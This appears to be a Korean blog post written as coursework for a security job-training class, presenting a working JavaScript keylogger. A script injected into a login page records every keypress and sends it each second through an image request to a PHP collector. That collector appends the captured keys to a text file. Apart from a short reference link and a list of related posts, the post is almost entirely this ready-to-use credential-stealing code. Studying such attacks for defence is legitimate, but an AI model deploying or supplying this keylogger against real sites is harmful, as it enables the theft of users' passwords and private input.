[Normaltic's 취업반 과제] js Keylogger
2024. 5. 14. 18:36ㆍ정보보안 및 해킹/Normaltic's 취업반 과제
keylogger.php
사용자로부터 키 입력을 받아 txt파일에 적어둔다.
<?php
$str = isset ($_GET['c']) ? $_GET['c'] : false;
if($str)
{
$ff = fopen('data.txt', 'a+');
fwrite($ff, $str);
fclose($ff);
}
?>
login.php
키 입력을 받아서 login버튼을 눌렀을 때 해당 입력을 공격자에게 보낼 수 있도록 하였다.
[생략]
<script>
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
if(keys.length>0) {
new Image().src = './keylogger.php?c='+keys;
keys = '';
}
}, 1000);
</script>
[생략]
ref. https://www.hahwul.com/2016/06/16/web-hacking-making-xss-keyloggerxss/
'정보보안 및 해킹 > Normaltic's 취업반 과제' 카테고리의 다른 글
[Normaltic's 취업반 과제] 게시글 파일 이름 띄우기 (0) | 2024.05.15 |
---|---|
[Normaltic's 취업반 과제] 게시글 삭제하기 (0) | 2024.05.15 |
[Normaltic's 취업반 과제] js Cookie Hijacking (0) | 2024.05.14 |
[Normaltic's 취업반 과제] 게시글 수정하기 (0) | 2024.05.12 |
[Normaltic's 취업반 과제] jwt 로그인 유지 (0) | 2024.05.08 |